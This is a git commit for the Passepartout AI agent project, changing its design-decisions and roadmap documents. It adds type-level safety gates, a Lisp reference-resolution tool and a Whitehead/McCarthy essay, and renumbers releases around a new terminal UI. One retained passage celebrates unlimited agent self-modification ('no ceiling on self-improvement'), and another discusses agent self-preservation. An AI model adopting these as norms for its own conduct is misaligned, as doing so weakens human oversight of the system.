v0.8.0: use exported text-input symbols (remove :: access)

The old inline reader only handled basic CSI sequences (up/down/left/right/
home/end) and treated everything else as Escape. cl-tty.input:read-event
handles CSI sequences with modifiers, SS3 function keys, kitty keyboard
protocol (disambiguate escape codes), UTF-8 input, and terminal resize.

Key-event structs are converted back to the keyword/integer format that
the existing case ch dispatch and on-key expect:
  - Ctrl+letter → :CTRL-X keyword
  - :page-up/:page-down → :ppage/:npage
  - Single-char keywords → printable character via code-char
  - Everything else → pass keyword through

Removed the separate resize check block since read-event handles it.

docs/.#DESIGN_DECISIONS.org

@@ -0,0 +1 @@
+user@amr.1407003:1778162380

docs/.#ROADMAP.org

@@ -0,0 +1 @@
+user@amr.1407003:1778162380

docs/DESIGN_DECISIONS.org

@@ -2,7 +2,7 @@
 
 This document captures the rationale behind key architectural choices. It is not a specification — it is a thinking medium for future architects and contributors who need to understand why the system is built this way, not just how.
 
-* Part I: Foundation
+* Foundation
 
 ** Non-Negotiable Identity
 :PROPERTIES:
@@ -126,28 +126,7 @@ This is only possible because Lisp code is mutable data at runtime. In a compile
 
 The implications extend beyond convenience. A system that cannot modify its own core is a system that has limits on its own adaptability. It can learn skills but not improve its own structure. It can grow but not evolve. Passepartout's lack of a core boundary means the system can improve its own reasoning engine, fix bugs in its own cognition, and evolve its own architecture — all while continuing to operate. There is no ceiling on self-improvement. The agent can rewrite the very code that rewrites itself.
 
-** Historical Lineage — McCarthy's Advice Taker
-:PROPERTIES:
-:ID:       design-mccarthy
-:CREATED:  [2026-05-10 Sun]
-:END:
-
-McCarthy's "Programs with Common Sense" (1959) is the direct intellectual ancestor of the Passepartout architecture. The paper proposed an "advice taker" — a program that "will draw immediate conclusions from a list of premises" expressed in "a suitable formal language (most likely a part of the predicate calculus)." The program would:
-
-1. Accept declarative statements about the world as input.
-2. Store them as logical formulas.
-3. Reason from them to produce new conclusions.
-4. Accept new facts and revise its conclusions.
-
-This is precisely the Passepartout pipeline: the archivist extracts declarative facts from prose → Screamer checks them for consistency → VivaceGraph stores them → the planner reasons from them → new facts from gate outcomes and deductions revise the store. McCarthy proposed it in 1959. Passepartout is building it in 2026.
-
-The gap between McCarthy's proposal and Passepartout's implementation is the /hallucination problem/. McCarthy assumed facts would be entered by a human programmer in formal logic. Passepartout's facts are extracted from natural language prose by an LLM — a probabilistic process that requires deterministic verification. Screamer is the component McCarthy didn't need: a constraint solver that gates LLM-proposed facts against the existing fact store.
-
-The connection is not metaphorical. McCarthy cited Principia Mathematica as an influence on Lisp. Passepartout's Whitehead analysis traces the same PM → Lisp lineage. The advice taker → Passepartout lineage completes the arc: PM's formal logic → Lisp → McCarthy's advice taker → Passepartout's neurosymbolic engine.
-
-Reference: McCarthy, J. (1959). Programs with Common Sense. /Proceedings of the Teddington Conference on the Mechanization of Thought Processes./
-
-* Part II: The Two Brains
+* The Two Brains
 
 ** The Probabilistic-Deterministic Split
 :PROPERTIES:
@@ -227,7 +206,7 @@ The Dispatcher becomes, over time, not a guard that blocks bad actions but a rea
 
 This is the bootstrap. The system begins dependent on human judgment because it has no basis for judgment of its own. Through accumulated decisions, it constructs a model of what is permitted and why. That model is the foundation for the deterministic symbolic engine that in v1.0.0 takes over the reasoning that the Dispatcher learned to perform.
 
-* Part III: Safety & Self-Preservation
+* Safety & Self-Preservation
 
 ** Self-Preservation — The Active Third Law
 :PROPERTIES:
@@ -268,6 +247,33 @@ The Third Law here means: preserve yourself against non-human threats — LLM pr
 
 The biggest gap in the current design is not that these mechanisms are hard to implement. It is that degradation is silent. Adding "operating in degraded mode" visibility, plus the watchdog, plus self-diagnosis, transforms self-preservation from an architectural property into an active behavior.
 
+** Type-Level Gates — Structural Safety from Self-Modification
+:PROPERTIES:
+:ID:       design-type-level-gates
+:CREATED:  [2026-05-14 Thu]
+:END:
+
+Russell's paradox ("the set of all sets that do not contain themselves") proved that unrestricted self-reference produces contradictions. /Principia Mathematica/ solved it by assigning every propositional function a /type level/ — a function can only apply to arguments of a lower type, making self-application syntactically invalid.
+
+Passepartout's dispatcher currently enforces safety through runtime predicates. There is no /structural/ guarantee preventing a request from modifying the rules that validate it. Gate vector 2b (self-build-core) catches this empirically — a request modifies core → rejected. But this is a heuristic, not a theorem.
+
+The fix: assign every cognitive tool a ~:type-level~ integer, and every gate vector a ~:type-level~ integer. The dispatcher framework checks type-level before running any gate predicate:
+
+#+BEGIN_SRC lisp
+(defun gate-type-check (signal gate-vector)
+  (let ((signal-type-level (getf (signal-meta signal) :type-level))
+        (gate-type-level (gate-vector-type-level gate-vector)))
+    (if (>= signal-type-level gate-type-level)
+        :reject-type-violation
+        :pass)))
+#+END_SRC
+
+A request to modify dispatcher rules (type-level 5) cannot pass a gate of type-level 4 or lower. No predicate needed — a structural prohibition, just as PM's type theory makes self-membership impossible by construction.
+
+~defgate~ gains a ~:type-level~ keyword argument (default 0). Each cognitive tool registered via ~def-cognitive-tool~ inherits a ~:type-level~. Gate vector 2b at type-level 5; write-file at type-level 3; read-file at type-level 1. ~30 lines in ~core-dispatcher.lisp~; no new dependencies; v0.7.2 viable.
+
+For the philosophical foundations connecting Whitehead's type theory to Passepartout's architecture, see the Whitehead analysis in the Validation section below.
+
 ** Layered Signal Authentication — Trust in the Pipe
 :PROPERTIES:
 :ID:       design-layered-auth
@@ -297,7 +303,7 @@ The human can configure which layers are active per signal class: =AUTH_LAYERS_D
 
 For full implementation detail, see the Phase 0b spec in =ROADMAP.org= v0.12.0.
 
-* Part IV: The Symbolic Engine
+* The Symbolic Engine
 
 ** The Five Architecture Options
 :PROPERTIES:
@@ -601,7 +607,19 @@ Future implementations that satisfy the same interface — an append-only write-
 
 This is not speculative modularity. The two-implementation migration (Phase 1-4 hash table → Phase 5 VivaceGraph + Merkle) is in the roadmap. If the interface leaks implementation details, the migration breaks. The interface must be designed, tested against both backends, and committed before Phase 1 ships.
 
-* Part V: Knowledge Sources
+** Knowledge Graph Type Hierarchy — Structural Anti-Self-Reference (v3.0.0)
+:PROPERTIES:
+:ID:       design-kg-type-hierarchy
+:CREATED:  [2026-05-14 Thu]
+:END:
+
+The same type-theoretic principle that governs the gate stack can be applied to the knowledge graph itself. When VivaceGraph ships (v3.0.0), every entity carries a ~:pm-type-level~ metadata field. Queries cannot return entities of the same level as the querying function. Self-referential knowledge becomes structurally impossible — no "this entity defines its own type level."
+
+The KG query layer enforces this at the Prolog level, not through runtime checks. This is the same idea as the type-level gates (see Safety section above), but applied to /knowledge/ rather than /actions/. The dispatcher prevents self-referential actions; the KG prevents self-referential facts.
+
+For the full philosophical treatment, see the Whitehead analysis in the Validation section below.
+
+* Knowledge Sources
 
 ** Semantic Wikipedia as Entity Backbone
 :PROPERTIES:
@@ -658,7 +676,7 @@ References:
 - Shimizu, C., Hammar, K., & Hitzler, P. (2023). Modular ontology modeling. /Semantic Web, 14/(3), 459–489.
 - Norouzi, S.S. et al. (2024). Ontology Population using LLMs. arXiv:2411.01612.
 
-* Part VI: Implementation Properties
+* Implementation Properties
 
 ** Performance — Why Ontology Growth Doesn't Make the System Slower
 :PROPERTIES:
@@ -705,7 +723,7 @@ Every fact carries:
 
 These fields make every fact auditable. The =/audit <node-id>= command renders the full provenance chain as an Org headline tree. The provenance is not a logging feature. It is the product.
 
-* Part VII: Engineering Infrastructure
+* Engineering Infrastructure
 
 ** The REPL as Cognitive Substrate
 :PROPERTIES:
@@ -887,17 +905,107 @@ Passepartout's architecture provides three layers of time awareness, each enable
 
 None of these three layers require new infrastructure. Time awareness is not a feature Passepartout builds — it is a feature Passepartout *unlocks* by having timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and the foveal-peripheral context pruning model (v0.2.0) already in place. Adding time awareness costs ~175 lines of Lisp. Building it in competitors would require building the heartbeat, the time-indexed memory, and the proactive context injection — 800+ lines each — and would still cost LLM tokens because their safety verification is prompt-based.
 
-* Part VIII: Validation
-
-** Philosophical Validation — The Neurosymbolic Consensus
+** Definite Description Resolution
 :PROPERTIES:
-:ID:       design-validation
+:ID:       design-description-resolution
+:CREATED:  [2026-05-14 Thu]
+:END:
+
+When the user says "the function that validates secrets," the agent must resolve this to a specific code entity. Natural language is ambiguous — there might be multiple functions matching the description. Resolving to the wrong one causes incorrect actions.
+
+/Principia Mathematica/'s theory of descriptions addresses this: "the current king of France is bald" — a sentence that seems to refer to something that doesn't exist. PM formalizes ~ιx(φx)~ as "the unique x such that φ holds." A statement is false (not meaningless) when there is no unique x satisfying φ.
+
+A cognitive tool that checks descriptional uniqueness before resolution:
+
+#+BEGIN_SRC lisp
+(def-cognitive-tool :resolve-reference
+    (query-string &key (max-candidates 10)
+                   (context-path *current-context*))
+  "Resolve a definite description to a unique referent."
+  (let ((candidates (search-knowledge-graph query-string
+                                               :source-path context-path
+                                               :limit max-candidates)))
+    (cond
+      ((null candidates)
+       (values nil :no-referent query-string))
+      ((> (length candidates) 1)
+       (values nil :ambiguous candidates))
+      (t
+       (values (first candidates) :unique nil)))))
+#+END_SRC
+
+~40 lines as a skill in v0.7.2. When VivaceGraph ships (v3.0.0), descriptions become native Prolog queries with uniqueness constraints.
+
+For the philosophical foundations, see the Whitehead analysis in the Validation section below.
+
+* Validation
+
+** Whitehead's Process Philosophy and Type Theory
+:PROPERTIES:
+:ID:       design-validation-whitehead
+:CREATED:  [2026-05-14 Thu]
+:END:
+
+Alfred North Whitehead's two major bodies of work — /Principia Mathematica/ (1910–1913, with Bertrand Russell) and /Process and Reality/ (1929) — provide both the historical foundation and the descriptive vocabulary for Passepartout's architecture. The first gave us the type theory that structures the gate stack; the second gave us the process ontology that describes the pipeline.
+
+/Principia Mathematica/ is a direct ancestor of Lisp. Alonzo Church's lambda calculus (1930s), from which John McCarthy built Lisp (1958), was a response to PM's foundational program. PM's notation:
+
+#+BEGIN_EXAMPLE
+(x).φx        ≡ (for all x, φ holds of x)
+(∃x).φx       ≡ (there exists x such that φ holds)
+* x̂(φx)        ≡ (the class of x satisfying φ)
+ιx(φx)         ≡ (the unique x satisfying φ)
+#+END_EXAMPLE
+
+These map directly to Lisp: ~(lambda (x) (φ x))~, ~(class (x) (φ x))~, ~(the (x) (φ x))~. McCarthy cited PM as an influence. The connection is genetic, not metaphorical.
+
+Whitehead's process philosophy is a metaphysics of /becoming/ rather than /being/. The fundamental entities are not substances but /processes/ (/actual entities/, /occasions of experience/). This maps precisely to Passepartout's pipeline architecture:
+
+| Whiteheadian Concept             | Passepartout Mapping                        | Significance                                     |
+|----------------------------------+---------------------------------------------+--------------------------------------------------|
+| Actual entity (actual occasion)  | An event/signal in the pipeline             | The fundamental unit — everything else is abstraction |
+| Prehension                       | A gate's grasping of a signal               | How one entity "takes account of" another         |
+| Positive prehension              | A gate passing a signal                     | The signal is included in the concrescence        |
+| Negative prehension              | A gate rejecting a signal                   | The signal is excluded from the concrescence      |
+| Concrescence                     | The pipeline process from input to output   | Many prehensions → one satisfaction               |
+| Subjective aim                   | The agent's active goal / plan              | The telos directing which prehensions matter      |
+| Eternal objects                  | Pure concepts in the knowledge graph        | Universals — types, functions, categories         |
+| Nexus                            | A cluster of related memory objects         | A Merkle subtree                                  |
+| Satisfaction                     | The final agent response                    | The "completed" entity — determinate output       |
+| Transition                       | From one signal to the next                 | The pipeline's forward motion                     |
+| Causal efficacy                  | The agent's past context (memory)           | What is prehended from the settled past           |
+| Presentational immediacy         | The current signal (user input)             | What is prehended from the immediate present      |
+
+The foveal-peripheral model maps directly onto Whitehead's two modes of perception: /presentational immediacy/ is foveal focus on the current signal (vivid but superficial), while /causal efficacy/ is peripheral context from memory (dim but causally powerful). Whitehead argues that all perception is the "mixed mode" of symbolic reference — the synthesis of the two. Passepartout's ~think()~ function does exactly this: it synthesizes the current signal with context from memory into a response.
+
+Whitehead also gives Passepartout a /descriptive vocabulary/ that is precise, standard, and already maps perfectly to the design. "I am concrescing signal 47 through gates 0-8" is not poetry — it is a precise description of dispatcher operation. "Gate 3 has negatively prehended signal 136" means the secret-content gate rejected signal 136. "The satisfaction includes a file-write prehension with Merkle commit abc123" means the response contains a file write with the given Merkle hash. The agent uses this vocabulary in its ~/why~ output and in the ARCHITECTURE.org documentation.
+
+Not everything is useful. PM's full formalism — 300+ pages to prove ~1+1=2~ — is catastrophic as a reasoning engine. The /ideas/ (type theory, descriptions, propositional functions) are what matter, not the notation. Similarly, Whitehead's later concept of God (the "principle of concretion") and the full 25-category metaphysical system have no useful mapping to an agent architecture. Select the concepts that map; don't build a process-philosophy engine.
+
+Passepartout is level 4 neuro-symbolic (symbolic gates + neural LLM, deterministic components coordinate heterogeneous systems). PM's type theory adds level-5 properties: /structural/ safety guarantees rather than /empirical/ ones. The dispatcher becomes not just a runtime gate stack but a type-theoretic framework where category errors are impossible by construction — just as PM made Russell's paradox impossible by construction. The Whiteheadian vocabulary reinforces the architectural identity: Passepartout is not a chatbot with safety checks. It is a /process/ — a continuous concrescence of prehensions producing satisfactions — whose safety is guaranteed by the type structure of the prehending entities.
+
+** Historical Lineage — McCarthy's Advice Taker
+:PROPERTIES:
+:ID:       design-mccarthy
 :CREATED:  [2026-05-10 Sun]
 :END:
 
-Three papers from the neurosymbolic AI research community validate the architectural thesis from complementary angles.
+McCarthy's "Programs with Common Sense" (1959) is the direct intellectual ancestor of the Passepartout architecture. The paper proposed an "advice taker" — a program that "will draw immediate conclusions from a list of premises" expressed in "a suitable formal language (most likely a part of the predicate calculus)." The program would:
 
-*** Marcus (2020): The Case Against Pure Deep Learning
+1. Accept declarative statements about the world as input.
+2. Store them as logical formulas.
+3. Reason from them to produce new conclusions.
+4. Accept new facts and revise its conclusions.
+
+This is precisely the Passepartout pipeline: the archivist extracts declarative facts from prose → Screamer checks them for consistency → VivaceGraph stores them → the planner reasons from them → new facts from gate outcomes and deductions revise the store. McCarthy proposed it in 1959. Passepartout is building it in 2026.
+
+The gap between McCarthy's proposal and Passepartout's implementation is the /hallucination problem/. McCarthy assumed facts would be entered by a human programmer in formal logic. Passepartout's facts are extracted from natural language prose by an LLM — a probabilistic process that requires deterministic verification. Screamer is the component McCarthy didn't need: a constraint solver that gates LLM-proposed facts against the existing fact store.
+
+The connection is not metaphorical. McCarthy cited /Principia Mathematica/ as an influence on Lisp. Passepartout's Whitehead analysis traces the same PM → Lisp lineage. The advice taker → Passepartout lineage completes the arc: PM's formal logic → Lisp → McCarthy's advice taker → Passepartout's neurosymbolic engine.
+
+Reference: McCarthy, J. (1959). Programs with Common Sense. /Proceedings of the Teddington Conference on the Mechanization of Thought Processes./
+
+** Marcus (2020): The Case Against Pure Deep Learning
 
 Gary Marcus's "The Next Decade in AI" argues that deep learning alone is "data hungry, shallow, brittle, and limited in its ability to generalize." The paper demonstrates GPT-2 failing at basic commonsense reasoning:
 
@@ -910,7 +1018,7 @@ Marcus's core claim — "we have no hope of achieving robust intelligence withou
 
 Reference: Marcus, G. (2020). The Next Decade in AI: Four Steps Towards Robust Artificial Intelligence. arXiv:2002.06177.
 
-*** Gaur & Sheth (2023): CREST — Trustworthy Neurosymbolic AI
+** Gaur & Sheth (2023): CREST — Trustworthy Neurosymbolic AI
 
 Gaur and Sheth present the CREST framework: Consistency, Reliability, user-level Explainability, and Safety build Trust — and they argue these require neurosymbolic methods. Their empirical finding: GPT-3.5 breached safety constraints 30% of the time when asked identical questions repeatedly. Claude's 16 safety rules and Sparrow's 23 rules provide no /inherent/ safety — they are heuristic guardrails that can be breached through prompt variation.
 
@@ -918,7 +1026,7 @@ These findings validate three Passepartout design commitments: (1) prompt-level
 
 Reference: Gaur, M., & Sheth, A. (2023). Building Trustworthy NeuroSymbolic AI Systems: Consistency, Reliability, Explainability, and Safety. arXiv:2312.06798.
 
-*** Sheth et al. (2022): Knowledge-Infused Learning
+** Sheth et al. (2022): Knowledge-Infused Learning
 
 Sheth, Gunaratna, Bhatt, and Gaur define Knowledge-infused Learning (KiL) as "combining various types of explicit knowledge with data-driven deep learning techniques." They identify three infusion levels (shallow, semi-deep, deep) and position KiL as "a sweet spot in neuro-symbolic AI."
 
@@ -942,7 +1050,7 @@ The cost is the ontological work that is genuinely difficult. The reward is a sy
 
 The competitive advantage is not any single feature. It is the architecture's ability to accumulate verified knowledge from four independent sources (gates, deduction, verified LLM proposals, human authoring) and to make that knowledge queryable with provenance. Competitors accumulate chat transcripts. Passepartout accumulates a provenanced, self-verifying knowledge graph. Transcripts become stale and unreliable. The knowledge graph becomes richer and more trustworthy with every session.
 
-* Part IX: Open Questions
+* Open Questions
 
 ** Open Questions
 :PROPERTIES:
@@ -989,6 +1097,6 @@ The symbolic engine is not v1.0.0 alone. It is the layer that sits between the e
 See also:
 - =ROADMAP.org= — the concrete phased implementation plan (neurosymbolic phases at v0.10.0 through v0.36.0)
 - =ARCHITECTURE.org= — the current pipeline architecture
-- =notes/passepartout-whitehead.org= — Whitehead's four concrete contributions
+- =docs/DESIGN_DECISIONS.org#validation= — Whitehead analysis (now integrated into this document)
 - =notes/passepartout-symbolic-engine-exploration.org= — the original architecture exploration
 - =notes/competitive-landscape.org= — 55-system competitive survey

docs/ROADMAP.org

@@ -34,33 +34,115 @@ On release:
 2. Extract DONE items from ROADMAP (all items with LOGBOOK timestamps since the last release tag) and use as the release notes body
 3. If a ~CHANGELOG.md~ is needed for packaging tools, auto-generate it from ROADMAP DONE items
 
-** TODO v0.8.0: Information Radiator (Foundation)
+** v0.8.0: TUI Stabilization — cl-tty Migration + Information Radiator
 
-Sidebar (6 panels), sidebar overlay mode (<120 cols), command palette (Ctrl+P), TrueColor theme expansion (8 presets), unified minibuffer panel with slash-command context menu and sub-mode navigation (wizard, settings, help).
+The croatoan TUI is replaced entirely by ~cl-tty~ v1.1.0. In progress across
+multiple branches: the main branch does XDG-based tangling 
+(~/.local/share/passepartout/lisp/), the ~refactor/cl-tty-tui~ branch keeps
+lisp files in the repo (~lisp/~). Both converge on the same goal — a stable,
+feature-complete TUI with sidebar, command palette, warm palette, TrueColor
+themes, and robust terminal handling.
 
-*** DONE Unified minibuffer slash-command panel
+*** Minibuffer — cl-tty dialog stack
 :PROPERTIES:
 :ID:       id-v080-minibuffer
 :CREATED:  [2026-05-10 Sat]
 :END:
-:LOGBOOK:
-- State "DONE"  from "TODO"  [2026-05-10 Sat]
+
+*** Conversation view — cl-tty ScrollBox + Markdown
+:PROPERTIES:
+:ID:       id-v080-conversation
+:CREATED:  [2026-05-13 Wed]
 :END:
 
-Replace ad-hoc overlay windows with a single bottom-anchored panel. Typing =/= as the first character opens a command context menu (~25 slash commands, filtered in real time as the user types). Navigating to =/wizard= and pressing Enter transitions the panel into the setup wizard — same panel, same position, sub-mode stack. Esc returns to the command list. Future sub-modes (=/settings=, =/help=) slot into the same architecture.
-
-- Add ~:minibuffer-mode~ and ~:minibuffer-selected-idx~ state fields to ~init-state~
-- Extract ~*slash-commands*~ data structure (~25 commands, each with description) from the ~on-key~ Enter handler
-- Add ~view-minibuffer~ that dispatches on ~:minibuffer-mode~ to ~view-slash-menu~, ~view-wizard-in-panel~
-- Add ~minibuffer-handle-key~ which dispatches to ~slash-menu-handle-key~ or ~wizard-handle-key~
-- TUI event loop: replace separate wizard key handlers with unified modal dispatch block
-- ~on-key~: auto-open slash-menu when =/= typed as first character
-- ~wizard-start~ / ~wizard-cancel~: set ~:minibuffer-mode~ instead of ~:wizard-visible~
-- Merge the wizard overlay (centered, 60x14) into the bottom-anchored panel
-- Remove ~:wizard-visible~ state field
+- ~ScrollBox~ with ~sticky-scroll~ (auto-follows new content, respects manual scroll-up)
+- User messages rendered as ~Box~ (role-colored left border)
+- Agent messages rendered via cl-tty's ~Markdown~ + ~Code~ + ~Diff~ renderables
+- Tool calls rendered as ~Select~ (collapsible, status-indicated: spinner running / green done / red error)
+- Gate trace as a collapsible ~Box~ within agent messages (property-drawer style)
 
 ~150 lines.
 
+*** Command palette — cl-tty Select
+:PROPERTIES:
+:ID:       id-v080-palette
+:CREATED:  [2026-05-13 Wed]
+:END:
+
+- Ctrl+P opens a ~select-dialog~ with all daemon commands
+- Fuzzy-filtered with categories (session, memory, system, help)
+- Enter dispatches the command to the daemon via TCP, displays result in conversation
+
+~40 lines.
+
+*** Sidebar — cl-tty slot system
+:PROPERTIES:
+:ID:       id-v080-sidebar
+:CREATED:  [2026-05-13 Wed]
+:END:
+
+- 6 panels as cl-tty ~slot~ registrations (gate trace, focus, rules, context, cost, files)
+- Toggle with Ctrl+B or auto-hide on narrow terminals (<120 cols)
+- Panel data sourced from daemon's existing response plist keys (~:rule-count~, ~:focal-id~, ~:gate-trace~, etc.)
+
+~80 lines.
+
+*** Status bar — cl-tty Box + Theme
+:PROPERTIES:
+:ID:       id-v080-statusbar
+:CREATED:  [2026-05-13 Wed]
+:END:
+
+- Bottom-most line: directory, LSP status (green dot), MCP count, ~/status~ hint
+- Degraded-mode signaling (amber when ~*degraded-components*~ non-nil)
+- cl-tty theme tokens for colors — works with all 8 presets
+
+~30 lines.
+
+*** Keybinding layer — cl-tty keymap
+:PROPERTIES:
+:ID:       id-v080-keybindings
+:CREATED:  [2026-05-13 Wed]
+:END:
+
+- Global: Ctrl+P (palette), Ctrl+B (sidebar), Ctrl+Q (quit), PageUp/PageDn (scroll)
+- Prompt: Enter (send), Ctrl+C (interrupt), Up/Dn (history)
+- cl-tty's layered keymaps handle priority (global → local → input)
+
+~40 lines.
+
+*** Warm palette + three-zone layout (formerly v0.9.0)
+
+The v0.8.0 TUI had correct internal wiring but was unusable — input at the top
+instead of the bottom, layout bugs where chat overwrote the status bar, and
+Ctrl-key shortcuts silently failed. This work restructures the TUI into a clean
+three-zone design with a warm amber/gold color palette. 18 theme tokens, 8 warm
+presets. All integrated into the ongoing v0.8.0 TUI stabilization.
+
+*** TUI hardening (formerly v0.10.x)
+
+Terminal cursor fixes, input handling, flicker elimination, CSI escape detection,
+multi-line input, dark-neutral theme variant, cl-tty style-reset. Incremental
+stabilization of the cl-tty TUI runtime.
+
+*** Keybinding Reference
+
+| Key | Action |
+|-----|--------|
+| Enter | Send message |
+| Alt+Enter | Newline |
+| Up/Down | History cycle |
+| Tab | Complete command/path |
+| Ctrl+P | Command palette |
+| Ctrl+B | Toggle sidebar |
+| Ctrl+F | Search messages |
+| Ctrl+L | Redraw |
+| Ctrl+D | Quit prompt |
+| Esc | Interrupt/dismiss |
+| PageUp/Dn | Scroll chat |
+| Ctrl+Q | Quit |
+| ? | Help panel |
+
 ** v0.9.0: Eval Harness — Safety Net First
 
 Every subsequent release ships with automated regression protection. The eval harness is the gate that makes self-modification safe — before any neurosymbolic component modifies the system, the harness verifies nothing broke.
@@ -79,9 +161,9 @@ Every subsequent release ships with automated regression protection. The eval ha
 - Task suite grows with codebase: every bug fix adds a regression task
 ~200 lines.
 
-** v0.9.1: Emacs Development Environment — A Functional UI
+** v0.10.0: Emacs Development Environment — Secondary Client
 
-The croatoan TUI is on life support — enough to see output and type commands, but every render feature (markdown, tool visualization, mouse, adaptive layout) requires custom ncurses code destined for the trash at v2.0.0. Emacs is the v2.0.0 bridge: the same major mode, sidebar, and M-x commands survive from now through Phase III.
+cl-tty is the primary TUI (v0.8.0). The Emacs major mode is an optional secondary client for users who prefer Emacs-based workflows. Both clients communicate with the same daemon over the same TCP protocol — they are interchangeable frontends, not competing architectures.
 
 *** TODO Emacs major mode
 :PROPERTIES:
@@ -147,7 +229,7 @@ Each command is a thin wrapper around ~passepartout-send~ (the existing TCP brid
 
 Total: ~260 lines elisp, persisting through v2.0.0+.
 
-** v0.10.0: Phase 0 — Type-Level Gates + Core Integrity (~75 lines)
+** v0.11.0: Phase 0 — Type-Level Gates + Core Integrity (~75 lines)
 
 :PROPERTIES:
 :ID:       id-v090-phase0
@@ -175,7 +257,7 @@ Existing FiveAM gate tests continue to pass. New test: signal at type-level 5 ta
 
 This is Contribution 1 from ~notes/passepartout-whitehead.org~. Every type-level rejection emits a structured event that Phase 1 ingests as a fact. ~30 lines implement the seed of the ontology without any new dependencies. ~75 lines total, extends dispatcher, no new skill.
 
-** v0.11.0: Full Markdown Rendering
+** v0.12.0: Full Markdown Rendering
 :PROPERTIES:
 :ID:       id-v071-markdown-full
 :CREATED:  [2026-05-08 Fri]
@@ -189,7 +271,7 @@ Extend the markdown renderer from v0.7.1:
 - Syntax highlighting for code blocks: keyword/string/function colors from theme. Regex-based (no parser dependency).
 - All markdown features degrade gracefully to plain text on terminals without attribute support. ~100 lines.
 
-** v0.12.0: Phase 0b — Layered Signal Authentication, Layer 1 (~200 lines)
+** v0.13.0: Phase 0b — Layered Signal Authentication, Layer 1 (~200 lines)
 :PROPERTIES:
 :ID:       id-v090-phase0b
 :CREATED:  [2026-05-09 Sat]
@@ -268,7 +350,7 @@ The gate architecture is designed with all four layers from Phase 0b. Adding a l
 
 ~200 lines total. Depends on Phase 0 (type-level gates).
 
-** v0.13.0: Tool Execution Visualization
+** v0.14.0: Tool Execution Visualization
 :PROPERTIES:
 :ID:       id-v071-tools
 :CREATED:  [2026-05-08 Fri]
@@ -283,7 +365,7 @@ When the agent invokes a tool:
 
 Uses Croatoan's ~init-pair~ + ~color-pair~ for 256-color backgrounds on tool state regions. ~100 lines.
 
-** v0.14.0: Phase 1 — Minimum Viable Fact Language (~200 lines, new skill)
+** v0.15.0: Phase 1 — Minimum Viable Fact Language (~200 lines, new skill)
 :PROPERTIES:
 :ID:       id-v090-phase1
 :CREATED:  [2026-05-09 Sat]
@@ -369,7 +451,7 @@ The policy table maps entity classes to ~:singular~, ~:dual~, or ~:plural~. Gate
 
 ~200 lines. New skill: ~symbolic-facts.org~. Depends on Phase 0b (auth).
 
-** v0.15.0: Mouse Support
+** v0.16.0: Mouse Support
 :PROPERTIES:
 :ID:       id-v071-mouse
 :CREATED:  [2026-05-08 Fri]
@@ -384,7 +466,7 @@ Croatoan supports ncurses mouse mode via ~(setf mouse-enabled-p)~. Enable:
 - Click on gate trace line to expand/collapse trace
 ~40 lines.
 
-** v0.16.0: Phase 1a — Self-Preservation Mechanisms (~120 lines)
+** v0.17.0: Phase 1a — Self-Preservation Mechanisms (~120 lines)
 :PROPERTIES:
 :ID:       id-v090-phase1a
 :CREATED:  [2026-05-09 Sat]
@@ -430,7 +512,7 @@ The watchdog is outside the SBCL image. A dead process cannot restart itself. ~2
 
 ~120 lines. Extends existing skills. Depends on Phase 0-1.
 
-** v0.17.0: Cost Display
+** v0.18.0: Cost Display
 :PROPERTIES:
 :ID:       id-v071-cost
 :CREATED:  [2026-05-08 Fri]
@@ -442,7 +524,7 @@ The watchdog is outside the SBCL image. A dead process cannot restart itself. ~2
 - Color-coded: green under daily budget, yellow approaching, red exceeding
 - Requires token counter infrastructure from v0.5.0. ~50 lines for display; token counting is v0.5.0 infrastructure.
 
-** v0.18.0: Phase 2 — Screamer as Admission Gate (~200 lines, new skill)
+** v0.19.0: Phase 2 — Screamer as Admission Gate (~200 lines, new skill)
 :PROPERTIES:
 :ID:       id-v090-phase2
 :CREATED:  [2026-05-09 Sat]
@@ -490,7 +572,7 @@ This is the function the archivist calls before any LLM-proposed fact enters the
 
 ~200 lines. New skill: ~symbolic-screamer.org~. Depends on Phase 1 (triple store). Not an ASDF dependency — degrades gracefully.
 
-** v0.19.0: Session Export
+** v0.20.0: Session Export
 :PROPERTIES:
 :ID:       id-v071-export
 :CREATED:  [2026-05-08 Fri]
@@ -504,7 +586,7 @@ Claude Code has ~/share~ (shareable URL). OpenCode has ~/export~ (Markdown). Her
 - ~/export json~ outputs the session as JSON (for programmatic consumption)
 ~50 lines. Uses existing message vector and ~memory-object-render~ for Org formatting.
 
-** v0.20.0: Phase 3 — Archivist as Fact Proposer (~100 lines, extends existing archivist)
+** v0.21.0: Phase 3 — Archivist as Fact Proposer (~100 lines, extends existing archivist)
 :PROPERTIES:
 :ID:       id-v090-phase3
 :CREATED:  [2026-05-09 Sat]
@@ -555,7 +637,7 @@ This is the safety net: if the LLM produces a bad extraction that passes Screame
 
 ~100 lines. Extends existing archivist skill. Depends on Phase 2 (Screamer).
 
-** v0.21.0: Tool Output Spilling
+** v0.22.0: Tool Output Spilling
 :PROPERTIES:
 :ID:       id-v081-output-spill
 :CREATED:  [2026-05-08 Fri]
@@ -568,7 +650,7 @@ Claude Code saves tool results >30KB to ~/.claude/tool-results/ with a 200-line
 - The LLM can ~read-file~ the full output if it needs to analyze it
 ~30 lines in ~core-loop-act.lisp~
 
-** v0.22.0: Phase 4 — Sufficiency Criterion ("The Flip") (~50 lines)
+** v0.23.0: Phase 4 — Sufficiency Criterion ("The Flip") (~50 lines)
 :PROPERTIES:
 :ID:       id-v090-phase4
 :CREATED:  [2026-05-09 Sat]
@@ -622,7 +704,7 @@ Symbolic Index
 
 ~50 lines. Extends Phase 3 (archivist).
 
-** v0.23.0: Read-Only Output Caching Within a Turn
+** v0.24.0: Read-Only Output Caching Within a Turn
 :PROPERTIES:
 :ID:       id-v081-cache-turn
 :CREATED:  [2026-05-08 Fri]
@@ -636,7 +718,7 @@ Claude Code caches read-only tool results within a turn. If the agent reads the
 - Prevents redundant tool calls when the agent asks the same question twice within a reasoning step
 ~25 lines in ~programming-tools.lisp~
 
-** v0.24.0: Skin Engine + 10 Presets
+** v0.25.0: Skin Engine + 10 Presets
 :PROPERTIES:
 :ID:       id-v072-skin-engine
 :CREATED:  [2026-05-08 Fri]
@@ -665,7 +747,7 @@ Claude Code caches read-only tool results within a turn. If the agent reads the
 
 Shipped as part of the skin engine release — the engine with 0 presets is unusable. See Skin Engine TODO above for the preset definitions.
 
-** v0.25.0: Phase 5 — VivaceGraph + Merkle DAG + Ontology Versioning (~400 lines, new skill)
+** v0.26.0: Phase 5 — VivaceGraph + Merkle DAG + Ontology Versioning (~400 lines, new skill)
 :PROPERTIES:
 :ID:       id-v090-phase5
